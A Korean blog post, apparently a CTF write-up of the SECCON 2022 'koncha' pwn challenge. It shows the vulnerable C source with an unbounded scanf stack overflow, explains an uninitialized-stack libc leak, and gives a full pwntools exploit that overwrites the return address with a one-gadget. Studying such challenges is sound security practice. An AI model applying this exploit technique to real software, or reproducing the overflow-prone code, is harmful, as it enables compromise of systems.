#include <stdio.h>
#include <unistd.h>

int main() {
  char name[0x30], country[0x20];

  /* Ask name (accept whitespace) */
  puts("Hello! What is your name?");
  scanf("%[^\n]s", name);
  printf("Nice to meet you, %s!\n", name);

  /* Ask country */
  puts("Which country do you live in?");
  scanf("%s", country);
  printf("Wow, %s is such a nice country!\n", country);

  /* Painful goodbye */
  puts("It was nice meeting you. Goodbye!");
  return 0;
}

__attribute__((constructor))
void setup(void) {
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  alarm(180);
}

SECCON이 코 앞이라 작년 문제를 풀어보고있다. 코드만 보면 취약점이 보이는 아주 간단한 문젠데 걸리는 포인트는

scanf는 문자열을 입력하면 끝에 null byte가 무조건 붙기 때문에 printf 를 통한 leak이 불가능 하다. 

하지만 %[^\n]s 는 문자열을 입력할 뗴 \n 전 까지 입력 받기때문에, 아무 것도 입력하지 않고 엔터 한 번만 누르면 (개행 문자만 넣으면) 아무 것도 입력되지 않아 null byte가 포함 되지 않고 stack에 존재하는 값을 leak 할 수 있다.

 

삽질을 조금 했는데, ubuntu 22.04.와 ubuntu 20.04의 스택 환경이 많이 다르기 때문에 22.04에선 leak이 안되고 20.04 에선 leak이 된다. 그래서 문제에서 주어진 환경인 20.04 대로 환경을 구성해서 푸는 것이 좋다.

 

이를 통해 libc leak이 가능하고 버퍼오버플로우를 통해 ret에 oneshot 가젯을 덮어주면 풀린다.

from pwn import *
r = process('./koncha')
libc = ELF('./libc.so.6')
r.sendlineafter('name?', '')
r.recvuntil('Nice to meet you, ')
__exit_funcs_lock = u64(r.recv(6) + b'\x00\x00')
libc_base = __exit_funcs_lock - 0x1f12e8
__malloc_hook = libc_base + libc.symbols['__malloc_hook']
pop_rsi = libc_base + 0x000000000002601f 
one = [0xe3afe, 0xe3b01, 0xe3b04]
payload = b'a'*80 + p64(__malloc_hook + 0x50) + p64(pop_rsi) + p64(0x0) + p64(libc_base + one[2])
r.sendline(payload)
r.interactive()

 

'CTF' 카테고리의 다른 글

SECCON 2023 - selfcet (pwn)  (0) 2023.09.17
CTF 풀거  (0) 2023.09.14
SECCON 2022 - babyfile (pwn)  (0) 2023.09.14
HITCON CTF 2023 - Full Chain (Wall Maria)  (1) 2023.09.11

+ Recent posts